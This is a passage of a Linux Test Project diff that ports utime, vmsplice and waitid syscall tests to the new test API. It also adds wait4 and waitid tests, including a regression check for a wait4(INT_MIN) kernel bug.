+	SAFE_SETEUID(pw->pw_uid);
 }
 
-static void utime_verify(const struct test_case_t *test)
+static void run(unsigned int i)
 {
-	if (test->setup_func != NULL)
-		test->setup_func();
+	struct tcase *tc = &tcases[i];
 
-	TEST(utime(test->pathname, test->times));
-
-	if (test->cleanup_func != NULL)
-		test->cleanup_func();
-
-	if (TEST_RETURN != -1) {
-		tst_resm(TFAIL, "utime succeeded unexpectedly");
-		return;
-	}
-
-	if (TEST_ERRNO == test->exp_errno) {
-		tst_resm(TPASS | TTERRNO, "utime failed as expected");
-	} else {
-		tst_resm(TFAIL | TTERRNO,
-			 "utime failed unexpectedly; expected: %d - %s",
-			 test->exp_errno, strerror(test->exp_errno));
-	}
+	TST_EXP_FAIL(utime(tc->pathname, tc->utimbuf),
+				tc->exp_errno, "%s", tc->err_desc);
 }
 
-static void setup_nobody(void)
-{
-	SAFE_SETEUID(cleanup, ltpuser->pw_uid);
-}
-
-static void cleanup_nobody(void)
-{
-	SAFE_SETEUID(cleanup, 0);
-}
-
-static void cleanup(void)
-{
-	if (mount_flag && tst_umount(MNT_POINT) < 0)
-		tst_resm(TWARN | TERRNO, "umount device:%s failed", dev);
-
-	if (dev)
-		tst_release_device(dev);
-
-	tst_rmdir();
-}
+static struct tst_test test = {
+	.setup = setup,
+	.test = run,
+	.tcnt = ARRAY_SIZE(tcases),
+	.needs_root = 1,
+	.needs_tmpdir = 1,
+	.mntpoint = MNT_POINT,
+	.needs_rofs = 1
+};
diff --git a/testcases/kernel/syscalls/vmsplice/vmsplice01.c b/testcases/kernel/syscalls/vmsplice/vmsplice01.c
index 1d1b66d..36ecc08 100644
--- a/testcases/kernel/syscalls/vmsplice/vmsplice01.c
+++ b/testcases/kernel/syscalls/vmsplice/vmsplice01.c
@@ -11,7 +11,6 @@
 #include <string.h>
 #include <signal.h>
 #include <sys/types.h>
-#include <fcntl.h>
 #include <sys/poll.h>
 
 #include "tst_test.h"
diff --git a/testcases/kernel/syscalls/vmsplice/vmsplice02.c b/testcases/kernel/syscalls/vmsplice/vmsplice02.c
index 39c407c..0135b6f 100644
--- a/testcases/kernel/syscalls/vmsplice/vmsplice02.c
+++ b/testcases/kernel/syscalls/vmsplice/vmsplice02.c
@@ -18,9 +18,7 @@
 
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <fcntl.h>
 #include <unistd.h>
-#include <fcntl.h>
 #include <sys/uio.h>
 #include <limits.h>
 
diff --git a/testcases/kernel/syscalls/wait4/.gitignore b/testcases/kernel/syscalls/wait4/.gitignore
index 9313eb7..577f734 100644
--- a/testcases/kernel/syscalls/wait4/.gitignore
+++ b/testcases/kernel/syscalls/wait4/.gitignore
@@ -1,2 +1,3 @@
 /wait401
 /wait402
+/wait403
diff --git a/testcases/kernel/syscalls/wait4/wait403.c b/testcases/kernel/syscalls/wait4/wait403.c
new file mode 100644
index 0000000..8746794
--- /dev/null
+++ b/testcases/kernel/syscalls/wait4/wait403.c
@@ -0,0 +1,42 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2021 SUSE LLC <rpalethorpe@suse.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Check wait4(INT_MIN, ...) is not allowed. The pid is negated before
+ * searching for a group with that pid. Negating INT_MIN is not
+ * defined so UBSAN will be triggered if enabled. Also see kill13.
+ *
+ * If the bug is present, but UBSAN is not enabled, then it should
+ * result in ECHILD.
+ */
+
+#include <stdlib.h>
+#include <errno.h>
+#include <limits.h>
+#define _USE_BSD
+#include <sys/types.h>
+#include <sys/resource.h>
+#include <sys/wait.h>
+#include "tst_test.h"
+
+static void run(void)
+{
+	int status = 1;
+	struct rusage rusage;
+
+	TST_EXP_FAIL2(wait4(INT_MIN, &status, 0, &rusage), ESRCH,
+		      "wait4 fails with ESRCH");
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.taint_check = TST_TAINT_W | TST_TAINT_D,
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "dd83c161fbcc"},
+		{}
+	}
+};
diff --git a/testcases/kernel/syscalls/waitid/.gitignore b/testcases/kernel/syscalls/waitid/.gitignore
index e200a06..089d860 100644
--- a/testcases/kernel/syscalls/waitid/.gitignore
+++ b/testcases/kernel/syscalls/waitid/.gitignore
@@ -1,2 +1,11 @@
 /waitid01
 /waitid02
+/waitid03
+/waitid04
+/waitid05
+/waitid06
+/waitid07
+/waitid08
+/waitid09
+/waitid10
+/waitid11
diff --git a/testcases/kernel/syscalls/waitid/waitid01.c b/testcases/kernel/syscalls/waitid/waitid01.c
index b6579d9..136eec8 100644
--- a/testcases/kernel/syscalls/waitid/waitid01.c
+++ b/testcases/kernel/syscalls/waitid/waitid01.c
@@ -1,126 +1,42 @@
-/******************************************************************************/
-/* Copyright (c) Crackerjack Project., 2007                                   */
-/*                                                                            */
-/* This program is free software;  you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by       */
-/* the Free Software Foundation; either version 2 of the License, or          */
-/* (at your option) any later version.                                        */
-/*                                                                            */
-/* This program is distributed in the hope that it will be useful,            */
-/* but WITHOUT ANY WARRANTY;  without even the implied warranty of            */
-/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See                  */
-/* the GNU General Public License for more details.                           */
-/*                                                                            */
-/* You should have received a copy of the GNU General Public License          */
-/* along with this program;  if not, write to the Free Software Foundation,   */
-/* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA           */
-/*                                                                            */
-/******************************************************************************/
-/******************************************************************************/
-/*                                                                            */
-/* Description: This tests the waitid() syscall                               */
-/*                                                                            */
-/* Test Name:   waitid01                                                      */
-/* History:     Porting from Crackerjack to LTP is done by                    */
-/*              Manas Kumar Nayak maknayak@in.ibm.com>                        */
-/******************************************************************************/
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Crackerjack Project., 2007
+ * Copyright (C) 2022 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
 
-#include <stdio.h>
-#include <errno.h>
+/*\
+ * [Description]
+ *
+ * This test is checking if waitid() syscall does wait for WEXITED and check for
+ * the return value.
+ */
+
 #include <stdlib.h>
 #include <sys/wait.h>
-#include <sys/types.h>
-#include <unistd.h>
-#include <sys/stat.h>
+#include "tst_test.h"
 
-#include "test.h"
+static siginfo_t *infop;
 
-char *TCID = "waitid01";
-int testno;
-int TST_TOTAL = 3;
-
-void setup(void)
+static void run(void)
 {
-	TEST_PAUSE;
+	pid_t pidchild;
+
+	pidchild = SAFE_FORK();
+	if (!pidchild)
+		exit(123);
+
+	TST_EXP_PASS(waitid(P_ALL, 0, infop, WEXITED));
+	TST_EXP_EQ_LI(infop->si_pid, pidchild);
+	TST_EXP_EQ_LI(infop->si_status, 123);
+	TST_EXP_EQ_LI(infop->si_signo, SIGCHLD);
+	TST_EXP_EQ_LI(infop->si_code, CLD_EXITED);
 }
 
-void display_status(siginfo_t * infop)
-{
-	tst_resm(TINFO, "Process %d terminated:", infop->si_pid);
-	tst_resm(TINFO, "code = %d", infop->si_code);
-	if (infop->si_code == CLD_EXITED)
-		tst_resm(TINFO, "exit value = %d", infop->si_status);
-	else
-		tst_resm(TINFO, "signal = %d", infop->si_status);
-}
-
-int main(int ac, char **av)
-{
-	id_t pid;
-	siginfo_t infop;
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); ++lc) {
-		tst_count = 0;
-		for (testno = 0; testno < TST_TOTAL; ++testno) {
-
-			TEST(fork());
-			if (TEST_RETURN < 0)
-				tst_brkm(TBROK | TTERRNO, NULL,
-					"fork() failed");
-
-			if (TEST_RETURN == 0) {
-				exit(123);
-			} else {
-				TEST(waitid(P_ALL, getpid(), &infop, WEXITED));
-				if (TEST_RETURN == -1) {
-					tst_brkm(TFAIL | TTERRNO,
-						 NULL,
-						 "waitid(getpid()) failed");
-				} else
-					display_status(&infop);	//CLD_EXITED = 1
-			}
-
-			TEST(fork());
-			if (TEST_RETURN < 0)
-				tst_brkm(TBROK | TTERRNO, NULL,
-					"fork() failed");
-
-			if (TEST_RETURN == 0) {
-				int a, b = 0;
-				a = 1 / b;
-				tst_exit();
-			} else {
-				TEST(waitid(P_ALL, 0, &infop, WEXITED));
-				if (TEST_RETURN == -1) {
-					tst_brkm(TFAIL | TTERRNO,
-						 NULL, "waitid(0) failed");
-				} else
-					display_status(&infop);	//CLD_DUMPED = 3 ; SIGFPE = 8
-			}
-
-			TEST(pid = fork());
-			if (TEST_RETURN < 0)
-				tst_brkm(TBROK | TTERRNO, NULL,
-					"fork() failed");
-
-			if (TEST_RETURN == 0) {
-				TEST(sleep(10));
-				tst_exit();
-			}
-			TEST(kill(pid, SIGHUP));
-			TEST(waitid(P_ALL, 0, &infop, WEXITED));
-			if (TEST_RETURN == -1) {
-				tst_brkm(TFAIL | TTERRNO, NULL,
-					 "waitid(0) failed");
-			} else
-				display_status(&infop);	//CLD_KILLED = 2 ; SIGHUP = 1
-		}
-	}
-	tst_resm(TPASS, "waitid(): system call passed");
-	tst_exit();
-}
+static struct tst_test test = {
+	.test_all = run,
+	.forks_child = 1,
+	.bufs = (struct tst_buffers[]) {
+		{&infop, .size = sizeof(*infop)},
+		{},
+	},
+};
diff --git a/testcases/kernel/syscalls/waitid/waitid02.c b/testcases/kernel/syscalls/waitid/waitid02.c
index dced6fa..f13a4ed 100644
--- a/testcases/kernel/syscalls/waitid/waitid02.c
+++ b/testcases/kernel/syscalls/waitid/waitid02.c
@@ -1,300 +1,30 @@
-/******************************************************************************/
-/* Copyright (c) Crackerjack Project., 2007                                   */
-/*                                                                            */
-/* This program is free software;  you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by       */
-/* the Free Software Foundation; either version 2 of the License, or          */
-/* (at your option) any later version.                                        */
-/*                                                                            */
-/* This program is distributed in the hope that it will be useful,            */
-/* but WITHOUT ANY WARRANTY;  without even the implied warranty of            */
-/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See                  */
-/* the GNU General Public License for more details.                           */
-/*                                                                            */
-/* You should have received a copy of the GNU General Public License along    */
-/* with this program; if not, write to the Free Software Foundation,  Inc.,   */
-/* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA                 */
-/*                                                                            */
-/******************************************************************************/
-/******************************************************************************/
-/*                                                                            */
-/* File:        waitid02.c                                           	      */
-/*                                                                            */
-/* Description: This tests the waitid() syscall                               */
-/*                                                                            */
-/* Usage:  <for command-line>                                                 */
-/* waitid02 [-c n] [-e][-i n] [-I x] [-p x] [-t]                              */
-/*      where,  -c n : Run n copies concurrently.                             */
-/*              -e   : Turn on errno logging.                                 */
-/*              -i n : Execute test n times.                                  */
-/*              -I x : Execute test for x seconds.                            */
-/*              -P x : Pause for x seconds between iterations.                */
-/*              -t   : Turn on syscall timing.                                */
-/*                                                                            */
-/* Total Tests: 1                                                             */
-/*                                                                            */
-/* Test Name:   waitid02                                                      */
-/* History:     Porting from Crackerjack to LTP is done by                    */
-/*              Manas Kumar Nayak maknayak@in.ibm.com>                        */
-/******************************************************************************/
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Crackerjack Project., 2007
+ * Copyright (c) Manas Kumar Nayak maknayak@in.ibm.com>
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
 
-#define _XOPEN_SOURCE 500
-#include <stdio.h>
-#include <errno.h>
-#include <stdlib.h>
+/*\
+ * [Description]
+ *
+ * Tests if waitid() returns EINVAL when passed invalid options flag value.
+ */
+
 #include <sys/wait.h>
-#include <sys/types.h>
-#include <unistd.h>
-#include <sys/stat.h>
+#include "tst_test.h"
 
-#include "test.h"
-#include "safe_macros.h"
-#include "lapi/syscalls.h"
+static siginfo_t *infop;
 
-struct testcase_t {
-	const char *msg;
-	idtype_t idtype;
-	id_t id;
-	pid_t child;
-	int options;
-	int exp_ret;
-	int exp_errno;
-	void (*setup) (struct testcase_t *);
-	void (*cleanup) (struct testcase_t *);
+static void run(void)
+{
+	TST_EXP_FAIL(waitid(P_ALL, 0, infop, WNOHANG), EINVAL);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.bufs = (struct tst_buffers[]) {
+		{&infop, .size = sizeof(*infop)},
+		{}
+	}
 };
-
-static void setup(void);
-static void cleanup(void);
-
-static void setup2(struct testcase_t *);
-static void setup3(struct testcase_t *);
-static void setup4(struct testcase_t *);
-static void setup5(struct testcase_t *);
-static void setup6(struct testcase_t *);
-static void cleanup2(struct testcase_t *);
-static void cleanup5(struct testcase_t *);
-static void cleanup6(struct testcase_t *);
-
-struct testcase_t tdat[] = {
-	{
-		.msg = "WNOHANG",
-		.idtype = P_ALL,
-		.id = 0,
-		.options = WNOHANG,
-		.exp_ret = -1,
-		.exp_errno = EINVAL,
-	},
-	{
-		.msg = "WNOHANG | WEXITED no child",
-		.idtype = P_ALL,
-		.id = 0,
-		.options = WNOHANG | WEXITED,
-		.exp_ret = -1,
-		.exp_errno = ECHILD,
-	},
-	{
-		.msg = "WNOHANG | WEXITED with child",
-		.idtype = P_ALL,
-		.id = 0,
-		.options = WNOHANG | WEXITED,
-		.exp_ret = 0,
-		.setup = setup2,
-		.cleanup = cleanup2
-	},
-	{
-		.msg = "P_PGID, WEXITED wait for child",
-		.idtype = P_PGID,
-		.options = WEXITED,
-		.exp_ret = 0,
-		.setup = setup3,
-	},
-	{
-		.msg = "P_PID, WEXITED wait for child",
-		.idtype = P_PID,
-		.options = WEXITED,
-		.exp_ret = 0,
-		.setup = setup4,
-	},
-	{
-		.msg = "P_PID, WSTOPPED | WNOWAIT",
-		.idtype = P_PID,
-		.options = WSTOPPED | WNOWAIT,
-		.exp_ret = 0,
-		.setup = setup5,
-		.cleanup = cleanup5
-	},
-	{
-		.msg = "P_PID, WCONTINUED",
-		.idtype = P_PID,
-		.options = WCONTINUED,
-		.exp_ret = 0,
-		.setup = setup6,
-		.cleanup = cleanup6
-	},
-	{
-		.msg = "P_PID, WEXITED not a child of the calling process",
-		.idtype = P_PID,
-		.id = 1,
-		.options = WEXITED,
-		.exp_ret = -1,
-		.exp_errno = ECHILD,
-		.setup = setup2,
-		.cleanup = cleanup2
-	},
-
-};
-
-char *TCID = "waitid02";
-static int TST_TOTAL = ARRAY_SIZE(tdat);
-
-static void makechild(struct testcase_t *t, void (*childfn)(void))
-{
-	t->child = fork();
-	switch (t->child) {
-	case -1:
-		tst_brkm(TBROK | TERRNO, cleanup, "fork");
-		break;
-	case 0:
-		childfn();
-		exit(0);
-	}
-}
-
-static void wait4child(pid_t pid)
-{
-	int status;
-	SAFE_WAITPID(cleanup, pid, &status, 0);
-	if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
-		tst_resm(TFAIL, "child returns %d", status);
-}
-
-static void dummy_child(void)
-{
-}
-
-static void waiting_child(void)
-{
-	TST_SAFE_CHECKPOINT_WAIT(NULL, 0);
-}
-
-static void stopped_child(void)
-{
-	kill(getpid(), SIGSTOP);
-	TST_SAFE_CHECKPOINT_WAIT(NULL, 0);
-}
-
-static void setup2(struct testcase_t *t)
-{
-	makechild(t, waiting_child);
-}
-
-static void cleanup2(struct testcase_t *t)
-{
-	TST_SAFE_CHECKPOINT_WAKE(cleanup, 0);
-	wait4child(t->child);
-}
-
-static void setup3(struct testcase_t *t)
-{
-	t->id = getpgid(0);
-	makechild(t, dummy_child);
-}
-
-static void setup4(struct testcase_t *t)
-{
-	makechild(t, dummy_child);
-	t->id = t->child;
-}
-
-static void setup5(struct testcase_t *t)
-{
-	makechild(t, stopped_child);
-	t->id = t->child;
-}
-
-static void cleanup5(struct testcase_t *t)
-{
-	kill(t->child, SIGCONT);
-	TST_SAFE_CHECKPOINT_WAKE(cleanup, 0);
-	wait4child(t->child);
-}
-
-static void setup6(struct testcase_t *t)
-{
-	siginfo_t infop;
-	makechild(t, stopped_child);
-	t->id = t->child;
-	if (waitid(P_PID, t->child, &infop, WSTOPPED) != 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "waitpid setup6");
-	kill(t->child, SIGCONT);
-}
-
-static void cleanup6(struct testcase_t *t)
-{
-	TST_SAFE_CHECKPOINT_WAKE(cleanup, 0);
-	wait4child(t->child);
-}
-
-static void setup(void)
-{
-	TEST_PAUSE;
-	tst_tmpdir();
-	TST_CHECKPOINT_INIT(tst_rmdir);
-}
-
-static void cleanup(void)
-{
-	tst_rmdir();
-	tst_exit();
-}
-
-static void test_waitid(struct testcase_t *t)
-{
-	siginfo_t infop;
-
-	if (t->setup)
-		t->setup(t);
-
-	tst_resm(TINFO, "%s", t->msg);
-	tst_resm(TINFO, "(%d) waitid(%d, %d, %p, %d)", getpid(), t->idtype,
-			t->id, &infop, t->options);
-	memset(&infop, 0, sizeof(infop));
-
-	TEST(waitid(t->idtype, t->id, &infop, t->options));
-	if (TEST_RETURN == t->exp_ret) {
-		if (TEST_RETURN == -1) {
-			if (TEST_ERRNO == t->exp_errno)
-				tst_resm(TPASS, "exp_errno=%d", t->exp_errno);
-			else
-				tst_resm(TFAIL|TTERRNO, "exp_errno=%d",
-					t->exp_errno);
-		} else {
-			tst_resm(TPASS, "ret: %d", t->exp_ret);
-		}
-	} else {
-		tst_resm(TFAIL|TTERRNO, "ret=%ld expected=%d",
-			TEST_RETURN, t->exp_ret);
-	}
-	tst_resm(TINFO, "si_pid = %d ; si_code = %d ; si_status = %d",
-			infop.si_pid, infop.si_code,
-			infop.si_status);
-
-	if (t->cleanup)
-		t->cleanup(t);
-}
-
-int main(int ac, char **av)
-{
-	int lc, testno;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-	for (lc = 0; TEST_LOOPING(lc); ++lc) {
-		tst_count = 0;
-		for (testno = 0; testno < TST_TOTAL; testno++)
-			test_waitid(&tdat[testno]);
-	}
-	cleanup();
-	tst_exit();
-}
diff --git a/testcases/kernel/syscalls/waitid/waitid03.c b/testcases/kernel/syscalls/waitid/waitid03.c
new file mode 100644
index 0000000..ef3fd73
--- /dev/null
+++ b/testcases/kernel/syscalls/waitid/waitid03.c
@@ -0,0 +1,31 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Crackerjack Project., 2007
+ * Copyright (c) Manas Kumar Nayak maknayak@in.ibm.com>
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Tests if waitid() syscall returns ECHILD when the calling process has no
+ * child processes.
+ */
+
+#include <sys/wait.h>
+#include "tst_test.h"
+
+static siginfo_t *infop;
+
+static void run(void)
+{
+	TST_EXP_FAIL(waitid(P_ALL, 0, infop, WNOHANG | WEXITED), ECHILD);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.bufs = (struct tst_buffers[]) {
+		{&infop, .size = sizeof(*infop)},
+		{}
+	}
+};
diff --git a/testcases/kernel/syscalls/waitid/waitid04.c b/testcases/kernel/syscalls/waitid/waitid04.c
new file mode 100644
index 0000000..96c1cf8
--- /dev/null
+++ b/testcases/kernel/syscalls/waitid/waitid04.c
@@ -0,0 +1,46 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Crackerjack Project., 2007
+ * Copyright (c) Manas Kumar Nayak maknayak@in.ibm.com>
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * This test if waitid() syscall leaves the si_pid set to 0 with WNOHANG flag
+ * when no child was waited for.
+ */
+
+#include <sys/wait.h>
+#include "tst_test.h"
+
+static siginfo_t *infop;
+
+static void run(void)
+{
+	pid_t pid_child;
+
+	pid_child = SAFE_FORK();
+	if (!pid_child) {
+		TST_CHECKPOINT_WAIT(0);
+		return;
+	}
+
+	memset(infop, 0, sizeof(*infop));
+	TST_EXP_PASS(waitid(P_ALL, pid_child, infop, WNOHANG | WEXITED));
+
+	TST_EXP_EQ_LI(infop->si_pid, 0);
+
+	TST_CHECKPOINT_WAKE(0);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.forks_child = 1,
+	.needs_checkpoints = 1,
+	.bufs = (struct tst_buffers[]) {
+		{&infop, .size = sizeof(*infop)},
+		{}
+	}
+};
diff --git a/testcases/kernel/syscalls/waitid/waitid05.c b/testcases/kernel/syscalls/waitid/waitid05.c
new file mode 100644
index 0000000..1b9186d
--- /dev/null
+++ b/testcases/kernel/syscalls/waitid/waitid05.c
@@ -0,0 +1,52 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Crackerjack Project., 2007
+ * Copyright (c) Manas Kumar Nayak maknayak@in.ibm.com>
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Tests if waitid() filters children correctly by the group ID.
+ *
+ * - waitid() with GID + 1 returns ECHILD
+ * - waitid() with GID returns correct data
+ */
+
+#include <stdlib.h>
+#include <sys/wait.h>
+#include "tst_test.h"
+
+static siginfo_t *infop;
+
+static void run(void)
+{
+	pid_t pid_group;
+	pid_t pid_child;
+
+	pid_child = SAFE_FORK();
+	if (!pid_child)
+		exit(0);
+
+	pid_group = getpgid(0);
+
+	TST_EXP_FAIL(waitid(P_PGID, pid_group+1, infop, WEXITED), ECHILD);
+
+	memset(infop, 0, sizeof(*infop));
+	TST_EXP_PASS(waitid(P_PGID, pid_group, infop, WEXITED));
+
+	TST_EXP_EQ_LI(infop->si_pid, pid_child);
+	TST_EXP_EQ_LI(infop->si_status, 0);
+	TST_EXP_EQ_LI(infop->si_signo, SIGCHLD);
+	TST_EXP_EQ_LI(infop->si_code, CLD_EXITED);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.forks_child = 1,
+	.bufs = (struct tst_buffers[]) {
+		{&infop, .size = sizeof(*infop)},
+		{}
+	}
+};
diff --git a/testcases/kernel/syscalls/waitid/waitid06.c b/testcases/kernel/syscalls/waitid/waitid06.c
new file mode 100644
index 0000000..5f51c81
--- /dev/null
+++ b/testcases/kernel/syscalls/waitid/waitid06.c
@@ -0,0 +1,49 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Crackerjack Project., 2007
+ * Copyright (c) Manas Kumar Nayak maknayak@in.ibm.com>
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Tests if waitid() filters children correctly by the PID.
+ *
+ * - waitid() with PID + 1 returns ECHILD
+ * - waitid() with PID returns correct data
+ */
+
+#include <stdlib.h>
+#include <sys/wait.h>
+#include "tst_test.h"
+
+static siginfo_t *infop;
+
+static void run(void)
+{
+	pid_t pid_child;
+
+	pid_child = SAFE_FORK();
+	if (!pid_child)
+		exit(0);
+
+	TST_EXP_FAIL(waitid(P_PID, pid_child+1, infop, WEXITED), ECHILD);
+
+	memset(infop, 0, sizeof(*infop));
+	TST_EXP_PASS(waitid(P_PID, pid_child, infop, WEXITED));
+
+	TST_EXP_EQ_LI(infop->si_pid, pid_child);
+	TST_EXP_EQ_LI(infop->si_status, 0);
+	TST_EXP_EQ_LI(infop->si_signo, SIGCHLD);
+	TST_EXP_EQ_LI(infop->si_code, CLD_EXITED);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.forks_child = 1,
+	.bufs = (struct tst_buffers[]) {
+		{&infop, .size = sizeof(*infop)},
+		{}
+	}
+};
diff --git a/testcases/kernel/syscalls/waitid/waitid07.c b/testcases/kernel/syscalls/waitid/waitid07.c
new file mode 100644
index 0000000..d607dbd
--- /dev/null
+++ b/testcases/kernel/syscalls/waitid/waitid07.c
@@ -0,0 +1,51 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Crackerjack Project., 2007
+ * Copyright (c) Manas Kumar Nayak maknayak@in.ibm.com>
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Test if waitid() filters children killed with SIGSTOP.
+ */
+
+#include <sys/wait.h>
+#include "tst_test.h"
+
+static siginfo_t *infop;
+
+static void run(void)
+{
+	pid_t pid_child;
+
+	pid_child = SAFE_FORK();
+	if (!pid_child) {
+		SAFE_KILL(getpid(), SIGSTOP);
+		TST_CHECKPOINT_WAIT(0);
+		return;
+	}
+
+	memset(infop, 0, sizeof(*infop));
+	TST_EXP_PASS(waitid(P_PID, pid_child, infop, WSTOPPED | WNOWAIT));
+
+	TST_EXP_EQ_LI(infop->si_pid, pid_child);
+	TST_EXP_EQ_LI(infop->si_status, SIGSTOP);
+	TST_EXP_EQ_LI(infop->si_signo, SIGCHLD);
+	TST_EXP_EQ_LI(infop->si_code, CLD_STOPPED);
+
+	SAFE_KILL(pid_child, SIGCONT);
+
+	TST_CHECKPOINT_WAKE(0);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.forks_child = 1,
+	.needs_checkpoints = 1,
+	.bufs = (struct tst_buffers[]) {
+		{&infop, .size = sizeof(*infop)},
+		{}
+	}
+};
diff --git a/testcases/kernel/syscalls/waitid/waitid08.c b/testcases/kernel/syscalls/waitid/waitid08.c
new file mode 100644
index 0000000..2da680e
--- /dev/null
+++ b/testcases/kernel/syscalls/waitid/waitid08.c
@@ -0,0 +1,63 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Crackerjack Project., 2007
+ * Copyright (c) Manas Kumar Nayak maknayak@in.ibm.com>
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Test if waitid() filters children killed with SIGCONT.
+ */
+
+#include <sys/wait.h>
+#include "tst_test.h"
+
+static siginfo_t *infop;
+
+static void run(void)
+{
+	pid_t pid_child;
+
+	pid_child = SAFE_FORK();
+	if (!pid_child) {
+		SAFE_KILL(getpid(), SIGSTOP);
+		TST_CHECKPOINT_WAIT(0);
+		return;
+	}
+
+	tst_res(TINFO, "send SIGCONT to child");
+
+	memset(infop, 0, sizeof(*infop));
+	TST_EXP_PASS(waitid(P_PID, pid_child, infop, WSTOPPED));
+
+	TST_EXP_EQ_LI(infop->si_pid, pid_child);
+	TST_EXP_EQ_LI(infop->si_status, SIGSTOP);
+	TST_EXP_EQ_LI(infop->si_signo, SIGCHLD);
+	TST_EXP_EQ_LI(infop->si_code, CLD_STOPPED);
+
+	SAFE_KILL(pid_child, SIGCONT);
+
+	tst_res(TINFO, "filter child by WCONTINUED");
+
+	memset(infop, 0, sizeof(*infop));
+	TST_EXP_PASS(waitid(P_PID, pid_child, infop, WCONTINUED));
+
+	TST_EXP_EQ_LI(infop->si_pid, pid_child);
+	TST_EXP_EQ_LI(infop->si_status, SIGCONT);
+	TST_EXP_EQ_LI(infop->si_signo, SIGCHLD);
+	TST_EXP_EQ_LI(infop->si_code, CLD_CONTINUED);
+
+	TST_CHECKPOINT_WAKE(0);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.forks_child = 1,
+	.needs_checkpoints = 1,
+	.bufs = (struct tst_buffers[]) {
+		{&infop, .size = sizeof(*infop)},
+		{}
+	}
+};
diff --git a/testcases/kernel/syscalls/waitid/waitid09.c b/testcases/kernel/syscalls/waitid/waitid09.c
new file mode 100644
index 0000000..115c2e6
--- /dev/null
+++ b/testcases/kernel/syscalls/waitid/waitid09.c
@@ -0,0 +1,37 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Crackerjack Project., 2007
+ * Copyright (c) Manas Kumar Nayak maknayak@in.ibm.com>
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Test that waitid() fails with ECHILD with process that is not child of the
+ * current process. We fork() one child just to be sure that there are unwaited
+ * for children available while the test runs.
+ */
+
+#include <stdlib.h>
+#include <sys/wait.h>
+#include "tst_test.h"
+
+static siginfo_t *infop;
+
+static void run(void)
+{
+	if (!SAFE_FORK())
+		exit(0);
+
+	TST_EXP_FAIL(waitid(P_PID, 1, infop, WEXITED), ECHILD);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.forks_child = 1,
+	.bufs = (struct tst_buffers[]) {
+		{&infop, .size = sizeof(*infop)},
+		{}
+	}
+};
diff --git a/testcases/kernel/syscalls/waitid/waitid10.c b/testcases/kernel/syscalls/waitid/waitid10.c
new file mode 100644
index 0000000..e55e88c
--- /dev/null
+++ b/testcases/kernel/syscalls/waitid/waitid10.c
@@ -0,0 +1,79 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Crackerjack Project., 2007
+ * Copyright (C) 2022 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * This test is checking if waitid() syscall recognizes a process that ended
+ * with division by zero error.
+ */
+
+#include <stdlib.h>
+#include <sys/wait.h>
+#include <sys/prctl.h>
+#include "tst_test.h"
+
+static siginfo_t *infop;
+static int core_dumps = 1;
+
+static void run(void)
+{
+	pid_t pidchild;
+
+	/*
+	 * Triggering SIGFPE by invalid instruction is not always possible,
+	 * some architectures does not trap division-by-zero at all and even
+	 * when it's possible we would have to fight the compiler optimizations
+	 * that have tendency to remove undefined operations.
+	 */
+	pidchild = SAFE_FORK();
+	if (!pidchild)
+		raise(SIGFPE);
+
+	TST_EXP_PASS(waitid(P_ALL, 0, infop, WEXITED));
+	TST_EXP_EQ_LI(infop->si_pid, pidchild);
